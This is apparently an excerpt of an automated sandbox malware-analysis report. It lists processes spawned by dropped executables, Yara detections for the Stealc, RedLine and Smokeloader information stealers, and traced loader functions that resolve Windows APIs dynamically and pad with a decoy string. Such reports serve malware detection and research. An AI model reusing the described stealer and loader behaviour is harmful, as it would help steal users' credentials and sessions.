MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	03:26:27
Start date:	27/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe"
Imagebase:	0x2b0000
File size:	3'248'128 bytes
MD5 hash:	0794B4C99B4E217967E91CFA0BD8F04B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	03:26:29
Start date:	27/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	03:26:29
Start date:	27/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	03:26:29
Start date:	27/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	03:26:30
Start date:	27/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2260 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2200 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {02178454-e4c2-415f-b68b-05bee77a99df} 5256 "\\.\pipe\gecko-crash-server-pipe.5256" 270c9b6d510 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	03:26:32
Start date:	27/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1316 -parentBuildID 20230927232528 -prefsHandle 4188 -prefMapHandle 4184 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {289cd873-04d9-4964-ab61-b0224a3875ef} 5256 "\\.\pipe\gecko-crash-server-pipe.5256" 270dcbf3310 rdd
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	03:26:35
Start date:	27/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe"
Imagebase:	0x400000
File size:	250'368 bytes
MD5 hash:	C8B29F4C8C60A861B941DC46C03D41BC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000002.3056135980.00000000025CA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000022.00000002.3056076605.00000000025B0000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000022.00000002.3056668030.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	03:26:38
Start date:	27/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1816 -s 1028
Imagebase:	0x430000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	03:26:52
Start date:	27/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	03:26:52
Start date:	27/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	03:26:53
Start date:	27/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2192 -parentBuildID 20230927232528 -prefsHandle 2136 -prefMapHandle 2128 -prefsLen 25350 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8056b53a-6eb2-4492-b78e-15b0c58ed1fc} 6396 "\\.\pipe\gecko-crash-server-pipe.6396" 2773686c110 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	5.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	40

Executed Functions

Function 004195E0 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,02485908), ref: 004195FD
GetProcAddress.KERNEL32(75900000,02485C28), ref: 00419615
GetProcAddress.KERNEL32(75900000,024A69C8), ref: 0041962E
GetProcAddress.KERNEL32(75900000,024A6AD0), ref: 00419646
GetProcAddress.KERNEL32(75900000,024A69E0), ref: 0041965E
GetProcAddress.KERNEL32(75900000,024A69F8), ref: 00419677
GetProcAddress.KERNEL32(75900000,024893C0), ref: 0041968F
GetProcAddress.KERNEL32(75900000,024A6B18), ref: 004196A7
GetProcAddress.KERNEL32(75900000,024A6A28), ref: 004196C0
GetProcAddress.KERNEL32(75900000,024A6A40), ref: 004196D8
GetProcAddress.KERNEL32(75900000,024A6AE8), ref: 004196F0
GetProcAddress.KERNEL32(75900000,02485BC8), ref: 00419709
GetProcAddress.KERNEL32(75900000,02485848), ref: 00419721
GetProcAddress.KERNEL32(75900000,02485988), ref: 00419739
GetProcAddress.KERNEL32(75900000,02485868), ref: 00419752
GetProcAddress.KERNEL32(75900000,024A8AB0), ref: 0041976A
GetProcAddress.KERNEL32(75900000,024A89C0), ref: 00419782
GetProcAddress.KERNEL32(75900000,02489258), ref: 0041979B
GetProcAddress.KERNEL32(75900000,024859E8), ref: 004197B3
GetProcAddress.KERNEL32(75900000,024A8B28), ref: 004197CB
GetProcAddress.KERNEL32(75900000,024A8BD0), ref: 004197E4
GetProcAddress.KERNEL32(75900000,024A8A80), ref: 004197FC
GetProcAddress.KERNEL32(75900000,024A8BE8), ref: 00419814
GetProcAddress.KERNEL32(75900000,02485888), ref: 0041982D
GetProcAddress.KERNEL32(75900000,024A89D8), ref: 00419845
GetProcAddress.KERNEL32(75900000,024A8C00), ref: 0041985D
GetProcAddress.KERNEL32(75900000,024A8A38), ref: 00419876
GetProcAddress.KERNEL32(75900000,024A8C60), ref: 0041988E
GetProcAddress.KERNEL32(75900000,024A8C90), ref: 004198A6
GetProcAddress.KERNEL32(75900000,024A8A98), ref: 004198BF
GetProcAddress.KERNEL32(75900000,024A89F0), ref: 004198D7
GetProcAddress.KERNEL32(75900000,024A8AC8), ref: 004198EF
GetProcAddress.KERNEL32(75900000,024A8A50), ref: 00419908
GetProcAddress.KERNEL32(75900000,02488F28), ref: 00419920
GetProcAddress.KERNEL32(75900000,024A8A08), ref: 00419938
GetProcAddress.KERNEL32(75900000,024A8B40), ref: 00419951
GetProcAddress.KERNEL32(75900000,024859A8), ref: 00419969
GetProcAddress.KERNEL32(75900000,024A8A20), ref: 00419981
GetProcAddress.KERNEL32(75900000,024859C8), ref: 0041999A
GetProcAddress.KERNEL32(75900000,024A8B10), ref: 004199B2
GetProcAddress.KERNEL32(75900000,024A8A68), ref: 004199CA
GetProcAddress.KERNEL32(75900000,02485A08), ref: 004199E3
GetProcAddress.KERNEL32(75900000,02485F08), ref: 004199FB
LoadLibraryA.KERNEL32(024A8BB8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A0D
LoadLibraryA.KERNEL32(024A8C18,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A1E
LoadLibraryA.KERNEL32(024A8AE0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A30
LoadLibraryA.KERNEL32(024A8CA8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A42
LoadLibraryA.KERNEL32(024A8B58,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A53
LoadLibraryA.KERNEL32(024A8C48,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A65
LoadLibraryA.KERNEL32(024A8B70,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A77
LoadLibraryA.KERNEL32(024A8AF8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A88
GetProcAddress.KERNEL32(75FD0000,02485FE8), ref: 00419AAA
GetProcAddress.KERNEL32(75FD0000,024A8C78), ref: 00419AC2
GetProcAddress.KERNEL32(75FD0000,0248BF58), ref: 00419ADA
GetProcAddress.KERNEL32(75FD0000,024A8C30), ref: 00419AF3
GetProcAddress.KERNEL32(75FD0000,02485F28), ref: 00419B0B
GetProcAddress.KERNEL32(73AF0000,02489410), ref: 00419B30
GetProcAddress.KERNEL32(73AF0000,02485D88), ref: 00419B49
GetProcAddress.KERNEL32(73AF0000,024894B0), ref: 00419B61
GetProcAddress.KERNEL32(73AF0000,024A8B88), ref: 00419B79
GetProcAddress.KERNEL32(73AF0000,024A8BA0), ref: 00419B92
GetProcAddress.KERNEL32(73AF0000,02485C48), ref: 00419BAA
GetProcAddress.KERNEL32(73AF0000,02485DC8), ref: 00419BC2
GetProcAddress.KERNEL32(73AF0000,024A8D80), ref: 00419BDB
GetProcAddress.KERNEL32(763B0000,02485E48), ref: 00419BFC
GetProcAddress.KERNEL32(763B0000,02485E68), ref: 00419C14
GetProcAddress.KERNEL32(763B0000,024A8D50), ref: 00419C2D
GetProcAddress.KERNEL32(763B0000,024A8CF0), ref: 00419C45
GetProcAddress.KERNEL32(763B0000,02485FC8), ref: 00419C5D
GetProcAddress.KERNEL32(750F0000,024892A8), ref: 00419C83
GetProcAddress.KERNEL32(750F0000,02489208), ref: 00419C9B
GetProcAddress.KERNEL32(750F0000,024A8D38), ref: 00419CB3
GetProcAddress.KERNEL32(750F0000,02485C88), ref: 00419CCC
GetProcAddress.KERNEL32(750F0000,02485E28), ref: 00419CE4
GetProcAddress.KERNEL32(750F0000,02489528), ref: 00419CFC
GetProcAddress.KERNEL32(75A50000,024A8D68), ref: 00419D22
GetProcAddress.KERNEL32(75A50000,02485F88), ref: 00419D3A
GetProcAddress.KERNEL32(75A50000,0248BF38), ref: 00419D52
GetProcAddress.KERNEL32(75A50000,024A8CC0), ref: 00419D6B
GetProcAddress.KERNEL32(75A50000,024A8D08), ref: 00419D83
GetProcAddress.KERNEL32(75A50000,02485D68), ref: 00419D9B
GetProcAddress.KERNEL32(75A50000,02485F48), ref: 00419DB4
GetProcAddress.KERNEL32(75A50000,024A8CD8), ref: 00419DCC
GetProcAddress.KERNEL32(75A50000,024A8D20), ref: 00419DE4
GetProcAddress.KERNEL32(75070000,02485E08), ref: 00419E06
GetProcAddress.KERNEL32(75070000,024A8E88), ref: 00419E1E
GetProcAddress.KERNEL32(75070000,024A8DE0), ref: 00419E36
GetProcAddress.KERNEL32(75070000,024A8F48), ref: 00419E4F
GetProcAddress.KERNEL32(75070000,024A8F18), ref: 00419E67
GetProcAddress.KERNEL32(74E50000,02485DE8), ref: 00419E88
GetProcAddress.KERNEL32(74E50000,02485C68), ref: 00419EA1
GetProcAddress.KERNEL32(75320000,02485CA8), ref: 00419EC2
GetProcAddress.KERNEL32(75320000,024A8FD8), ref: 00419EDA
GetProcAddress.KERNEL32(6F080000,02485E88), ref: 00419F00
GetProcAddress.KERNEL32(6F080000,02485EA8), ref: 00419F18
GetProcAddress.KERNEL32(6F080000,02485EC8), ref: 00419F30
GetProcAddress.KERNEL32(6F080000,024A8EB8), ref: 00419F49
GetProcAddress.KERNEL32(6F080000,02485F68), ref: 00419F61
GetProcAddress.KERNEL32(6F080000,02485EE8), ref: 00419F79
GetProcAddress.KERNEL32(6F080000,02485FA8), ref: 00419F92
GetProcAddress.KERNEL32(6F080000,02485CC8), ref: 00419FAA
GetProcAddress.KERNEL32(6F080000,InternetSetOptionA), ref: 00419FC1
GetProcAddress.KERNEL32(6F080000,HttpQueryInfoA), ref: 00419FD7
GetProcAddress.KERNEL32(74E00000,024A8E28), ref: 00419FF9
GetProcAddress.KERNEL32(74E00000,0248BFC8), ref: 0041A011
GetProcAddress.KERNEL32(74E00000,024A8FC0), ref: 0041A029
GetProcAddress.KERNEL32(74E00000,024A8E10), ref: 0041A042
GetProcAddress.KERNEL32(74DF0000,02485D48), ref: 0041A063
GetProcAddress.KERNEL32(6E330000,024A8F90), ref: 0041A084
GetProcAddress.KERNEL32(6E330000,02485CE8), ref: 0041A09D
GetProcAddress.KERNEL32(6E330000,024A8FF0), ref: 0041A0B5
GetProcAddress.KERNEL32(6E330000,024A8F78), ref: 0041A0CD

Strings

HttpQueryInfoA, xrefs: 00419FCC
InternetSetOptionA, xrefs: 00419FB5

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction ID: de404ee9f47513f53d28e8016dc56f999ad60f1515a6c9981bc8237813ea7153
Opcode Fuzzy Hash: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction Fuzzy Hash: 946243B5500E00AFC774DFA8EE88D1E3BABBB8C761750A51AE609C3674D7349443DBA4

Function 00404610 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404648
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,0041649B), ref: 00404657
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,0041649B), ref: 0040465E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040466C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404677
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404682
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040468D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404698
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046AC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046B7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046C2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046CD
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046D8
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404701
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040470C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404717
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404722
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472D
strlen.MSVCRT ref: 00404740
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404768
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404773
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040477E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404789
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404794
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047A4
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047AF
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047BA
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047C5
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047D0
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 004047EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404688

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

